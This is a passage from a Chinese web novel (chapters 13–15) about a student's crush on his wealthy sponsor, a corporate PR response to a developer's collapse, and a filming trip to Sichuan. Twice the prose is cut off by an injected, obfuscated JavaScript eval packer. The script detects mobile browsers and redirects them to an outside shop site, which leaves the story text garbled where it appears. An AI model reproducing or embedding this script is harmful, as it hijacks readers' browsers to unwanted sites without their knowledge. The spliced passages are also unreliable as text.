小孩不行,谁家小孩都金贵,偌大的输液室里除了言真,剩下的都是因为流感来输液的小孩。护士一针一个小朋友,扎得小朋友爆哭,家长又轻言细语地哄。
哄完了,输液室里再次安静下来。
谢如珪问言真:“饿不饿?我去给你买饭。”
两人五点多到家就在处理言真肿胀的腿,发现处理不了就赶紧来了医院,都没吃晚饭。
等输完液回去再吃的话就太晚了。
言真原本想说不饿的,转念一想,又点点头。
言真不想麻烦谢如珪,他想得到谢如珪的关心和爱护,不是给他添麻烦。可是已经添麻烦了,不能再拧巴了。
“那你自己坐一会儿,我去买饭。有什么事给我打电话。”
说完,谢如珪就出去了。
很快又带着两个饭团回来了。
谢如珪:“我没去医院食堂打饭,去便利店买了饭团和水,先垫垫肚子吧。等输完液再带你去外面吃。想吃什么?”
医生没说要忌口,言真就说:“想吃有味道的。”
输液输得他不光真的有点饿了,嘴巴里还有点发苦,想吃点味道重的。他是四川人,本来就有点口重。
谢如珪笑了:“好,吃有味道的。大排档吃不吃?”
言真点点头。
“想得美呢,最多让你吃点粤菜。”谢如珪把拆开,用海苔包好的金枪鱼饭团递给他,“先吃饭团吧。”
被逗了,言真很开心。
他小口小口咬着饭团,眼睛骨碌碌地跟着谢如珪转。
言真从小到大生病的次数不多,就是生病也不严重,免疫系统乱杀,很快就好。以他的成长环境,如果生命力不顽强的话,很难平安健康地长到这么大。
这次是他生病得比较严重的一次了,却得到了前所未有的悉心照料。
这会儿正是饭点,不光他们俩在啃饭团,输液室里的大人、小孩都在吃晚饭。言真对面是一排小青蛙造型的儿童专用座椅,一个穿着职业装的女人正在哄怀里的小姑娘喝粥。
言真突然问:“谢老师,可不可以问你一个问题?”
“你问。”
“奚越会回来过年吗?”
“怎么突然问起他了?”谢如珪先是一愣,随即莞尔一笑,“你认识他?”
言真点点头:“但他应该不认识我。我们是一个村的,知道一点他的事,也在你朋友圈里见过他。”
奚越就是谢如珪当年支教的时候认识的他非常喜欢的小孩。漂亮、大方,还有着惊人的学习天赋,和谢如珪非常合得来。谢如珪有阵子特别想要奚越的抚养权,不过人家有爸爸妈妈。他也是谢如珪资助过的孩子里最特殊的,谢如珪完整地参与了奚越的成长过程,他给奚越的不光是金钱资助,还有爱和陪伴。
谢如珪的确经常分享奚越的成绩,小孩现在在美国读天文学。
言真:“我读的初中也是他读过的,经常听老师提起他,有点好奇。”
谢如珪想了想,回答道:“不会吧。他上大学后自己勤工俭学,机票贵,估计不回来。”
他问言真:“你想问什么?”顿了顿,觉得输着液的言真好可怜,柔声道,“你是想问今年过年你怎么办吗?就留在北京,别担心,我回家过年带上你。”
这是一个让言真非常幸福的承诺。
但是现在,或许是生病时候的脆弱,或许是因为此时此刻谢如珪真的太温柔了,温柔到言真不可控制地想索取更多,所以他还是问出了那个问题。
“我很羡慕他……每一个得到过你资助的人都羡慕他,想知道,你是怎么养他的?”言真笑了笑,“谢老师,要是我和他一样聪明,你回上海的时候也会带上我吗?”
谢如珪一怔。
他不懂声色地打量言真,万般思绪划过心头。
这几天他确实是在刻意和言真保持距离。
言真对他产生了感情,这种感情在谢如珪看来是盲目的、不理智的。也许源于安全感的缺失。总之以两人的交集来说是绝对错误的。
谢如珪不会任其继续发展。
如何对待言真——这件事在近期,占据了他的绝大部分思维。谢如珪认真思考过后决定,既然他不可能在近期,尤其是知道言真可怜的身世后,立刻疏远他,那么强调两人的辈分或许是不错的选择。
伦理关系是刻在人类DNA里的禁令,甚至不一定源自血缘。道德感是人类在繁衍过程中赋予自己的枷锁,任何一个开了智的人都会下意识地抵触乱/伦。
就拿谢如珪自己来说。
他和双胞胎弟弟谢如璋的性取向都是同性,兄弟俩的外形都出众。
然而从青春期开始,某一天,他们不约而同地开始避嫌。
这种避嫌是完全不假思索的。
会抵触对方的身体,刻意为对方留有空间。与此同时,要求对方不要冒犯自己。
正常人的性必须是在伦理之外的。
谢如珪想给言真这样的自觉。言真会慢慢理解,然后遵守。
但是现在看来,言真对他,该不会是出于恋父情结之类的吧?那么言真才真的应该看心理医生。
谢如珪严肃道:“奚越其实是因为他爸爸的原因,才来上海的。只是恰好当时我帮了他们一把。”
又道:“我……你知道的。我不可能有小孩,也很难真的抚养一个小孩。”
言真点点头:“我知道。”
聊到这里,两人都沉默了。言真有些郁闷。
他其实知道这不是一个好话题,会引起谢如珪的警惕。谢如珪在想什么,怀疑他有恋父情结吧?他不用猜都知道。可是他真的忍不住问。
言真得到了谢如珪的关爱,尽管这其实源于谢如珪的社会责任感,他富有而仁善,有向下看的目光,所以言真得到了社会性关爱。
可能是他很贪婪,所以很苦的时候会想要是能得到更多就好了。他早熟,也并不算太笨,他怀疑过自己是不是有恋父情结,很快得出了否定的答案。再深究呢?
再深究,就是言真发现了沈恪的不忠,决定取而代之。
从这里开始,从心所欲。
谢如珪已经开始玩手机了,言真又看了坐在对面的母女俩一眼,然后默默地收回视线。
前几年的时候他经常想,要是能在谢如珪身边长大就好了。他想谢如珪应该是那种会很早发现小孩的牙齿长歪了,愿意花很多钱,带小孩去整牙的家长——这是言真听说过最能体现安全型的父爱母爱的例子。
不过言真的牙齿很整齐,他并不需要整牙。
所以,刚刚还是冲动了。
他不应该问谢如珪那个问题的。
·
输液的效果是显著的,从医院回去后,言真老老实实地躺了一个周末,腿好多了。
值得一提的是,那天他在输液室里忍不住为前几年的自己问出的问题,倒是解答了他最近的疑惑——言真确定,谢如珪已经知道自己喜欢他了。
具体是什么时候知道的呢?
言真往前倒推,觉得应该是那天晚上打麻将的时候。
那天晚上,他们三个看自己的眼神都很不对劲。他们都发现了吧?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598590|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>言真倒是没有为这件事懊恼。他想徐徐图之,可是如果机会恰好,那么提早一点也不会怎么样。
还有医院里的对话。言真想起来,那天回程的车上,谢如珪刻意在他提问的时候叫停了成年人的话题,谢如珪那个时候是故意不让他参与的。如果十分坦荡,那么都是男人怎么不能聊了?
不让他参与才是心里有鬼。
医院里倒是阴差阳错的,让谢如珪不在他面前强调长辈的姿态了。
还意外从郑姨口中得知,主卧里有管线机。
原来谢如珪的睡眠障碍不是解决了,是他完全可以在起居室里喝水呀。怕撞破自己在口口,怕自己对着他口无遮拦,所以现在半夜醒了也不下楼。
谢如珪好可爱。
所以现在,他们之间只有一层窗户纸了。言真想。
他站在梯子上,轻轻吹了吹手上的窗花,薄薄的红纸平整地展开,言真听郑姨的指挥,把窗花贴在指定的位置。
还有半个月,就可以和谢如珪一起过年了。
·
年前的一周,春节的气氛已经很浓了,上班族却依旧忙碌。
要再过几天,大规模的春运才开始。
所以尽管是周一,咖啡厅也正常营业,并且人流量不算小。言真打工的这家咖啡厅开在写字楼的楼下,不是连锁品牌,是精品咖啡。
上次泡温泉的时候,谢如珪给他转了三万块钱,他第二天早上就退回去了。腿好得差不多了,就来咖啡厅上班。
岗前培训比言真想象得简单多了,除了了解咖啡豆的价格以外,经理只培训了他端盘子。
言真私下问和他一起兼职的同事小张,小张就说:“你只用给客人推荐贵的咖啡豆就行了。”
“要是客人问我风味什么的怎么办?”言真问。
“概率很小。你知道吗,其实中国人不喜欢喝咖啡,中国人喜欢的是有味道的牛奶,不然为什么咖啡店基本干不过奶茶店?”小张言之凿凿,“而且我们店在写字楼,白领都把咖啡当功能性饮料喝,真的懂咖啡的人不用你推荐。遇到会问你问题的人的概率很小,放心啦。”
“好。”言真接受了小张的建议。
然后今天,以极小的概率遇到了一个非要问他不同豆子的风味的客人。
——谢如珪。
“谢老师,你怎么在这里?”言真问,“我答不上来,但是你不要点太贵的,因为进货价差距不大。”他小声说道。
谢如珪哈哈大笑。
他扬声,对疑惑地看着他们聊起来的经理说道:“一杯瑰夏。我能和你们店里的服务员聊几分钟吗?”
瑰夏是菜单上最贵的。
经理笑眯眯地说:“客人,您请随意。”
谢如珪让言真坐下来。男人收起脸上的笑容,和言真说明来意。
“小言,你介不介意出镜——不用太多。你介不介意出镜荣鼎的宣传片?”
言真一怔。
他思考了一下,像是想起了什么,扭头看了眼旁边。
咖啡厅在一座商圈的中间,是一个独立的玻璃房子,矗立在广场正中,四周被写字楼环绕着。
放眼望去,四栋写字楼,每一栋的侧面都有几个大字:荣鼎集团。
感情谢如珪这是回了家里公司一趟。
“是什么样的宣传片呀?”他问。
谢如珪正色道:“是这样的。恒泰你听说过吗?就是那个房地产公司。恒泰爆雷了,老板已经跑路了,现在消费者们闹得厉害。不巧的是,荣鼎去年和恒泰谈收购文旅项目,其实根本没有谈好。”说到这里,男人颇有些咬牙切齿,“恒泰爆雷的消息昨天上了热搜,晚上就有爆料说他们的项目被荣鼎收购了——完全就是子虚乌有!”
“但是消费者肯定希望有人接盘,很多人攒了一辈子的买房钱,谁能放下?现在地方政府也在召开座谈会,约谈企业,想让企业帮忙。荣鼎肯定是要承担一部分。”
“对于企业来说,接盘的亏太大了,不能白吃。”
“开会商量下来,荣鼎准备拍一个公益性质的宣传片。”
谢如珪说,具体哪些企业要接盘恒泰的烂摊子,过年前一定会出结果。这件事已经不单单是商业方面的问题了,涉及到民生,无论是上面的意思,还是出于企业的社会责任感,荣鼎作为国内房地产行业龙头之一,都必须承担。
开会的结果是,干脆趁着这件事,宣扬一下企业责任感。荣鼎集团旗下不止房地产业务,别的业务要是能赚点也能减少损失。
谢如珪:“肯定是要亏钱的,能少亏点就少亏点。”他小声道,“要亏惨。”
言真:“……”
言真:“当然可以。你需要我做什么我都愿意的。就在北京吗?什么时候?我会配合。”
谢如珪欣慰道:“好孩子。时间太紧了,我想到的最快的就是你了。就这几天必须拿出来。不在北京,要去四川,别担心,我会陪你一起回去的……”
“好!”言真一口答应,“那我现在就去辞职。”
14.第 14 章
新的心理咨询师姓严,叫严律己。尽管名字听起来比胡德正胡医生还要正派,实际上却是一个刚出社会的00后。
严医生并非京大校友,谢如珪看见他挂在咨询室墙上的个人介绍,有学历和证书。严医生本硕就读于南方的一所师范类的211大学,看毕业证上的日期,是去年才参加工作的。
接着谢如珪想起,第一次来这家心理咨询诊所的时候,在外面大厅的墙上看见过,这家诊所的其中一个合伙人就姓严。
唔……看样子,应该是严医生的父亲。
谢如珪反而放心了。
他与严医生交谈了几句,刻意拿出商人傲慢、盛气凌人的姿态,果然,年轻的严医生很快就招架不住了,额头上冒出细密的汗珠,看起来心理压力比他还大的样子。
然后谢如珪突然恢复到翩翩有礼,谦和儒雅的模样,说他很满意严医生,认为严医生真的能帮助到他,要和严医生约下周继续咨询。
“啊?我……下周继续吗?”严医生问。
“当然,您的医术水平非常高,和您交谈令我感到愉快。”谢如珪说,“今天先给我开点安眠药吧,我最近睡眠问题严重,每晚都会惊醒。下周见面的时候,再聊我的婚姻问题。”
迫于他的气势,严医生只是低声嘱咐了几句注意事项,就给谢如珪开了一周量的安眠药。
谢如珪离开的时候,正好碰见胡医生从茶水间里出来。
两人打了个照面。
谢如珪微微一笑,顺便点他一下:“对了,胡医生,我的档案有转到严医生那里吗?”
“当然,请放心,上周就转给严医生了。”
“那就好。没有转错,我就放心了。”
“……”胡医生打哈哈,“谢总,不会错的您放心。”
等谢如珪一走,胡德正冷汗都下来了。他从医这么多年第一次做违背职业道德的事,本来就心虚,还被客户给察觉到了。要不是……
正好严律己也从咨询室里出来,目睹谢如珪离开,感叹道:“这位谢先生,气势相当惊人啊,不愧是大老板。”
胡德正心想你懂什么。
谢如珪幽默健谈,你觉得他气势惊人,是因为他在故意压力你。
因为我上周就被这么压力过。
谢如珪这种客户,其实是最难治疗的。常年身居高位,潜意识里对人有防线,心理医生的进一步沟通会被他下意识挡回来。这个时候他要是无法对你产生信任,那么心理咨询就会僵死在这个阶段甚至长达数月时间。
他知道他有问题,他也在面对,起码表面上积极治疗。可同时,他又在以抵触的姿态面对心理医生。
不管出于何种原因接下他,言真的要求也是让胡医生全力疏导他。胡医生做好了持久攻坚战的准备,为此还和作为“家属”的言真仔细沟通过。制定了方案。
结果上周,谢如珪突然变了副态度,强硬地要求更换咨询师。
严律己,趁现在去读个博吧。胡医生沉沉地叹了口气。
·
有了安眠药后,谢如珪着实睡了几天好觉。
睡眠好心情好,思维也更清晰。言真在家静养了几天,就去事先面试的咖啡厅兼职了。谢如珪明显感觉到和言真相处时,他更加得心应手了。
细心一点,少年的暗恋——那种怕他知道,又怕他不知道的眼神、小动作真的很多。
只要他在,言真的眼睛时时刻刻围着他转。
谢如珪哪怕给一点最微不足道的反应,比如随口夸奖他一句,言真就受到鼓舞。反之则眼神幽怨。
或许早就是这样了,只是他前段时间状态真的很差劲,又被言真一些大胆而坦诚的行为吓到脑子发懵,不知所措。
这才在言真愈发直白的试探中落了下风。
担心言真是出于恋父情结,谢如珪自然不再故意以长辈的姿态试图拉开伦理上的距离。
他平常心,言真反而不再故意作妖。
当然,也可能是因为他最近在吃安眠药的缘故,两粒药下去,时间像被偷走一样,再睁眼就是第二天,再也没有半夜惊醒,撞见言真在口口。
以至于周末,徐微约他钓鱼,问起这件事,谢如珪可以云淡风轻地说是小孩不懂事——就算那天,没有意外听见言真对黑大帅说的话,晚上谢如珪也会发现的。
谢如珪早就听说过川麻不讲武德,那天算是见识到了。就言真那一手天秀操作,讲真的,谢如珪还真的不确定这小子为了给他喂牌有没有出千。
而且不光是他,谢如璋和徐微都看出来了言真的心思。徐微八卦,现在问他,谢如珪都怀疑徐微是不是已经和谢母蛐蛐过了——谢如璋和徐微在一起,某种程度上算“二婚”,一开始谢母有微词的。
是徐微发挥八卦精神,硬是把老太太笼络了,现在特别喜欢他。徐微这张嘴,谢如珪觉得他能干出蛐蛐自己的事。
正想问问,就接到了弟弟谢如璋的电话。徐微自然凑过来听。
“你们在哪?让司机送你们来荣鼎,出事了。”谢如璋说。
“怎么了?”两人已经起身在收拾渔具了。
谢如璋没回答,挂了电话后,发过来一条链接。
恒泰爆雷与荣鼎收购恒泰地产项目的真假新闻,同时上了热搜。
·
谢如珪有几年不出席荣鼎的股东大会了,这次叫他来是为了知情权和表决权——谢如璋需要谢如珪挺他。
热搜从第十爬到第一,不过短短一个小时。
这一个小时里,荣鼎在全国各地的分公司,都接到了当地政府的约谈电话。恒泰爆雷的消息是真的,荣鼎已经全面接手了恒泰的地产项目的消息是假的。这一点政府部门核实过了。
可是又怎么样?
荣鼎的的确确在去年和恒泰就文旅项目的收购问题谈过,没谈拢。这不是消费者想听的,消费者认准了你们两个集团有业务上的往来,没有人可以在面临巨额损失的时候保持理智。
就算知道不关荣鼎的事,也想要荣鼎帮帮他们。
恒泰此次爆雷,遭受损失最大的是炒房客。文旅项目是恒泰一个涉及全国几百个城市的文化、旅游、住宅为一体的项目。除此之外还有正常刚需购房的。无论是投资还是刚需,少则七八十万多则上百上千万的损失款加在一起,保守估计恒泰的债务累计到了两万亿。
两万亿,要那么多消费者承担。他们无法承担,政府需要企业承担社会责任挺身而出。
临时召开股东大会,谢如璋一是要稳住小股东们,不要他们慌张之下抛售股份。二是提出解决办法。
荣鼎必须站出来。
“你说得容易,我们站出来解决,那些人的气就冲着我们来。烂尾项目能把我们所有人的钱一起搭进去!”小股东们多是不赞同的态度。
股东大会开始前,就有人给谢如璋打电话,叫他一定顶住压力不能答应接盘。
兄弟俩对视一眼,和这些实实在在要出血的股东讲社会责任感意义不大,他们中的很多人并非跟着谢父一起创业起家,而是在融资阶段上桌吃饭的。
谢如珪起身,和他们谈利益。
“聂老,您看现在这个情况,我们不答应接盘,您认为光一个谢家顶得住吗?”他说。
谢如珪起身走到落地窗前,一把拉开遮光帘,楼下已经汇集了大量拉着横幅的人。今天是周日,全国各地有不知道多少个家庭吃不好睡不好,在烂尾的楼盘前在政务中心前,希望有人能帮帮他们。
谢如珪正色道:“上面的意思很明确,不止我们荣鼎,大到房地产集团小到当地的建筑商,都要出来接盘,这不是我们可以推脱的,我们只能答应。”
“各位都知道,我这个谢家的大儿子不常来荣鼎开会,我今天过来,是来给谢总增加话语权的。今天这里,只能是他的一言堂。”
“手机放下,不要想现在下桌。你们以为现在下桌就没事了?楼下那些人会记住你们的冷眼旁观的。今天走不走得出去都不好说哦。”
“要是现在冷静一点了,就来听听我这个做互联网的人的策略吧。要我说你们太小看国人的仗义了,今天你帮他的家庭渡过难关,他记着你,等经济遇冷行业寒冬的时候,他绝对不让你破产……”
先前,谢如璋已经表明了一定会配合政府站出来接盘的态度,余下的,他需要同样是谢家的一份子的谢如珪来表演。
谢如珪来的路上就给Lvjiji的广告部老大打了电话,十倍加班费请这个营销起来他都害怕的女人过来江湖救急。
广告部老大本来就长年和荣鼎接洽,负责荣鼎的流媒体广告,到了之后,和谢如珪打配合,很快就提供了一个令小股东们挑不出毛病的公关方案——
荣鼎接盘已是定数,接了就不能默不作声地做好事,要让所有人都知道荣鼎的社会担当。要宣传,要打感情牌,这样,大量的资金流入烂尾的房地产项目后,消费者们念着荣鼎的好,支持旗下的商圈电影甚至新能源汽车等业务,有持续的现金流转,荣鼎才不至于被拖死。
此前一直低调的谢家兄弟会在接下来的宣传片中刷脸。Lvjiji会派出两支专业的拍摄团队,一支跟着谢如璋记录从被政府约谈开始,荣鼎是如何积极承担全力应对的。另一支跟着谢如珪,着重渲染荣鼎及谢家这么多年来在社会慈善上的默默付出。
告诉消费者们,他们不是这一次站出来了,他们一直在践行公益。
企业重视群众,请群众放心企业、支持企业。
临近年关,政府要让此次受累的消费者们过个好年,正好年前,Lvjiji今年的百大up主颁奖盛典和网络春晚日期挨在一起了——这无疑是一个巨大的宣传渠道。
也是重压之下,荣鼎最好的应对办法。
—
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604522|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—以上。
当广告部老大讲完方案后,其实谢如珪最先想到的人选是受他资助,目前正在美国求学的奚越。奚越的人生堪称寒门出贵子的逆袭神话,谢如珪从来没怀疑过这个孩子未来会成为一个享誉世界的天文学家、理论物理学家。
当晚回家后,他给奚越打了个电话。小科学家一边和他说话一边还在写论文。谢如珪问他现在不是在放假吗,他就说,他是给自己感兴趣的领域写的研究论文,不给谁看的,就是学。震撼谢如珪。
小科学家离祖国太远了,他闪闪发光得也离普罗大众太远了。谢如珪直接没提想让他回来帮个忙的事。广告部老大也说,还是找个目前正在国内的,接地气的比较好。
那么,没有比言真更好的人选了。
同样是寒门出贵子,同样考上了top1大学,言真的身世更加让人唏嘘。他才十八岁,人们对他的心疼只会更多。
两人一起回到当初谢如珪支教的村子,从而引出这些年来,荣鼎及谢家在公益事业上的不断付出——广告部老大定下了拍摄方案。
谢如珪思考了一晚上话术,终于在第二天,周一,来到了言真打工的咖啡厅,和言真说了这件事。
他话都没说完,言真就答应了,还要当场辞职。
哪儿用得着辞职?快去快回,言真回来还能继续打工。
这孩子对我的喜欢也太盲目了,什么细节都不问就一口答应。
他才应该看心理医生。谢如珪腹诽道。
·
说走就走。
言真请了假,两人回家收拾行李,衣服是次要,主要是拿证件。
晚上,两人、谢如珪的助理,另外带了一个编导两个摄影师,坐上飞往成都天府机场的飞机。
落地后,自然有荣鼎集团在四川的分公司接机。分公司的总裁给谢如珪调了一个司机,和一辆七座的商务车,人数加起来刚好满座。
取景的第一站是言真的高中。言真初中和高中在同一个学校,下午在VIP候机室的时候,助理已经联系过学校的负责人了。负责人长期和荣鼎集团和Lvjiji打交道,还认识谢如珪本人,听闻来意痛快地答应了采访。
甚至言真的班主任和把学区房租给他的老师,听说这件事后,主动提出接受采访。
他们落地的时候已经是晚上八点,滑行、行李托运又耽搁了半个小时,天府机场是一个神奇的,到全国各地和成都市区都是两个半小时的神经病(夹带私货致歉)机场,几人终于抵达香格里拉酒店的时候已经十一点了。
几人都是又累又饿,就在酒店的大堂里吃了顿饭。
随行的工作人员还得打起精神确认脚本确认器材,谢如珪先睡了,言真在隔壁房间,故地重游,有些百感交集。
从成都到北京才半年,可因为终于见到谢如珪了,每一天都是愉快而漫长的,言真觉得好像在北京呆了很久一样。
谢如珪在飞机上和他说了,大概需要他说什么样的话,表现出什么样子。言真想他根本不必演,因为他真的就是那样想的。
言真发誓要报答谢如珪,是谢如珪拯救了他,他什么都愿意为谢如珪做。宣传片而已,况且这件事本就值得歌颂。
不能再往下想了。言真摘下蓝牙耳机,吃了两颗褪黑素,睡觉。
·
翌日一早,一行人来到位于林荫街的言真的高中,先拍了拍校园环境。
随后负责人接待了他们。言真的班主任早上有课,要到十一点半第五节课的时候才有空。负责人调出言真在学校的成绩和获得的荣誉,对着镜头把言真夸了又夸,又重点提到了学校这些年所受到的校友及爱心企业的帮助,其中就有荣鼎集团。
十一点半,言真的班主任接受采访,同样情真意切。谢如珪在一旁看着,深有同感。像言真这样努力乖巧的小孩,当老师的最喜欢了。
他还和言真的班主任交流,说言真上大学后也没荒废,每天都学到晚上十一二点。
言真在一旁不好意思极了:“谢老师,我上大学后还学到十一二点是因为我笨……”
把在场的老师们逗得哈哈大笑。
既然来了学校,中午就要吃食堂。
中午,租给言真房子的老师——也就是言真初中的语文老师,现在在高新校区任教——言真的语文老师也赶了过来,见面先给了言真一个大大的拥抱。
“好孩子,在北京过得好吗?”语文老师问,“要不要留下和老师一起过年?”
编导让摄影师把镜头对准他们,她敏锐地察觉到,这里面一定有一个非常让人动容的故事。
言真没直接回答,问候了语文老师身体健康。语文老师拍了拍他的肩膀,邀请所有人和她一起去学校外面的老房子里坐坐。
“你走的时候是什么样子,那里还是什么样子。”说着,语文老师看了一旁的谢如珪一眼。
15.第 15 章
两百块一个月的老破小,言真一住就是三年。
他感谢语文老师以这样低廉的、远低于市场的价格把学校附近的学区房租给他住,住得相当爱惜。动手修补了掉皮的白墙,把每一件家具都保护得很好。
想着也许某一天,语文老师会把这套带学区的房子卖出去,尽量不在房子里留下租客的痕迹。
只除了积攒多年的,和谢如珪有关的简报——虽然里面还混着谢如璋的。
并且倒霉的,绝大多数是谢如璋。
谢如珪有一点想笑。难怪元旦那天他带言真回家,言真看见谢如璋愣了半天呢,感情是根本不知道他是双胞胎,这些年的简报还做错了人。
男人顺着不算宽敞的卧室踱步,他几乎能想象到言真小的时候有多乖、多听老师的话。
言真绝对是那种放假的时候,老师要求开学交一张精美的手抄报,他就会认认真真地在8k素描纸上画画、填色,然后在空白处抄写上诗句,甚至是默写诗句的乖小孩。
从财经报纸上剪下来的采访侧脸(谢如璋)、出席楼盘开幕仪式的不太看得清脸的合影(又是谢如璋)、娱乐新闻上疑似夜会小明星实际是被小明星给碰瓷(还是谢如璋)……种种。从只会用水彩笔画花边,到用漂亮的胶带装饰,所有笔迹随着时间的流逝褪色。
不是一朝一夕可以完成的。
甚至不是高中三年可以完成的。
有一张边角泛黄的简报上,谢如珪费了好大劲才认出来,言真画的应该是动画片《神兵小将》里面的男主——谢如珪会知道《神兵小将》是因为,这部动画片的原著其实是一个集合了男同变铁T、兄妹搞骨科、男小三上位、渣男开后宫等一些列炸裂剧情为一体的长篇武侠小说。
在谢如珪读书的时候还挺有名、挺流行的。所以他会知道。
《神兵小将》的话……言真该不会从小学的时候就开始收集他的报纸了吧?
谢如珪一张一张地挨着看,总算在不起眼的位置发现了两张出席慈善活动的简报,上面确实是他不是谢如璋了。
数量上太悬殊、太残酷了。
谢如珪想,他还是不要告诉言真真相好了。言真喜欢他,要是知道真相不得郁闷死?
这么想着,他脸上挂起淡淡的笑容,转念间又意识到,他怎么接受了言真喜欢他的这件事?这是不对的。
还是要加以正确引导。
摄像机拍了一个早上,电池电量眼看着告急,编导回酒店拿备用电池了。助理和其中一个摄影师留在学校里采访其他得到过荣鼎集团的奖学金的学生,只留了一个摄影师和谢如珪一起陪着言真到学区房里。
语文老师招待着他们喝了杯茶,然后就请谢如珪暂时回避,她要和言真一起面对镜头。
“谢先生,您可以去小言的房间里看看。”她说,“我想,您稍微回避一下,小言面对镜头会更勇敢。”
言真面露难色,最后还是答应了。起先谢如珪还以为是言真不乐意自己进他的房间,进来后才知道原因。
一屋子的简报,原来言真也有羞涩这种情绪。
老小区的隔音不太好,谢如珪在房间里,其实隐约能听到客厅里他们说话的声音。不过因为言真这些年代久远的简报,勾起了谢如珪对于四川的回忆。
他没有听采访,而是坐下来,搜索十三年前,他跟着社团的学长学姐们一起支教的那个村子。
从Lvjiji的半个竞品小红苕上,谢如珪看见当年的那个村子现在似乎没什么人了,只剩下一些不愿离开的老人,依旧住在泥糊的瓦房里。
触景伤情,谢如珪思绪渐渐飘远,再回神的时候是言真敲门,告诉他采访已经结束。
谢如珪收起愁容,起身,请语文老师吃饭。
·
饭后,语文老师的儿子过来接她了,谢如珪在饭店门口送走语文老师后,本来想带着拍摄团队回酒店好好休息一下。从早到晚,两个摄影师扛着设备,体力大大透支。
而他们明天一早还要出发前往另一个GDP倒数的城市,去到县份上,去到已经没有年轻人的村子。
言真却在这时候说:“谢老师,我可不可以不回酒店就住在这里呀?你放心,我明天早起,打车到酒店和大部队汇合,不会耽误行程的。”
谢如珪一愣。
“也不用担心安全什么的,我在这里住了三年,保安叔叔认识我的。”言真不好意思道,“有一点想这里。”
谢如珪知道,言真父母的房子好像是被法院收走了还是怎么回事,具体的他不清楚,只知道,少年从初中开始就没有家了。
如果有什么能称得上有归属感的地方,对言真来说,只有白天待着的学校,和晚上住的老破小。
进门的时候谢如珪就发现,房子里其实有很多言真的物品,一切就像言真只是出了趟远门一样。言真和语文老师感情很好,大概是商量过特意替他保留了一个可以落脚的地方吧?
“不可以也没关系,等回成都的时候我再回来打扫下卫生什么的……”言真又说。
“当然可以。”谢如珪问,“有多余的被子吗?冬天的?”
言真愣了愣,点点头。当然有。
初中住校时候的三件套和被褥他没舍得扔,留到了高中。高中又发了。后来出来住的时候都带了过来。
谢如珪对团队说:“你们先回香格里拉吧,好好休息,明天提前十分钟,过来接一下我们。”他又对言真说,“走吧,我们去超市。你不是说想打扫卫生吗?今晚我陪你一起住帮你打扫卫生。”
言真:“……啊?”
·
谢如珪毕竟在四川待过,知道反而是路边的苍蝇馆子比很多连锁的饭店味道好,所以请语文老师吃饭选在了附近一家卖老妈蹄花的小馆子。
语文老师特别满意,直夸他亲和没有架子。两人还谈起了谢如珪当年支教,教孩子们英语的往事。
谢如珪:“我那一次支教,比起您这么多年来教书育人不算什么。我还记得我刚到那里的时候,被宿舍条件惊呆了,头天晚上拎着个小水桶打扫卫生,整个人特别的崩溃。这次回去,还不知道要住在哪里,如果是住在当年的宿舍,还得拎着小水桶打扫卫生呢。”
席间自我调侃的话,在饭后成为了现实。
两人步行去了附近的一家红旗连锁。言真原本想着,其实房子里有扫除工具不用买,他以前每周都会大扫除一次的。
不过谢如珪也要住的话,需要买一点生活用品,也就没有拒绝逛超市。
进了超市,言真直奔日用品货架挑选起来。深冬的夜晚没什么人,言真看着看着突然听见谢如珪和店员交谈的声音。
他好奇,走过去看,发现谢如珪在问店员怎么没有洗地机。没有洗地机的话扫地机器人也可以,他买来打扫卫生。
言真:“……”
言真:“谢老师,我记得你吃饭的时候说要忆苦思甜。”
谢如珪:“对对对,不买洗地机了,买个小水桶吧。”
小水桶也用不着。言真想。
不过他还是没有阻止这辈子可能只打扫过一次卫生的谢如珪,反正小水桶才几块钱,还是谢如珪结账。
回去的路上,谢如珪拎着小水桶感慨:“明天我要把它带上。”
看来,是已经进入忆苦思甜的状态了。
言真从消防栓里取出备用钥匙开了门,两人再次回到老破小,脱了外套撸起袖子,开始打扫卫生。
两人都是实干派,一个拖地,一个擦家具。小水桶换了四次水,房子也算是打扫干净了。
言真这才把刚刚买的日用品摆好,然后叫谢如珪帮忙一起铺床。老破小是两室一厅一厨一卫南北通透户型方正的格局,床都是一米三五的,宿舍发的一米二的床具勉强能用。
言真告诉谢如珪:“谢老师,南方阴冷,我一会儿把电热烤火炉搬进来吧,放在你的床脚,不然你承受不住魔法攻击的。”
谢如珪点点头:“你呢?主卧有空调吗?”
“有的。”
“那行,听你安排。”
主卧有一台十几年前的,已经完全氧化发黄的松下空调。老家电舍得用料,这台空调的制冷吊打现在市面上的高端空调,言真去年八月离开的时候都好好的。
不过四川人冬天一般不开空调,冷就盖厚点,天气有多冷被窝就有多暖,开了空调睡觉反而不舒服。
两人放着三千多一晚的香格里拉酒店不住,回老破小打扫卫生,折腾完已经是晚上十一点了。
见男人神色疲惫,言真让他先去洗澡。
谢如珪洗漱完就上床睡了。言真随后洗漱完,也上床了。
不过,他并没有立刻睡觉。
言真同样很累,身体累的同时精神却很亢奋。
他睁着眼睛发了会儿呆,被子厚,被窝里暖洋洋的。少年规规矩矩地叠放在小腹上的手动了动。
满屋子亲手制作的简报都被谢如珪看见了。
谢如珪还知道他喜欢他。
谢如珪现在就睡在隔壁,比他们在颐和原著里时更近。
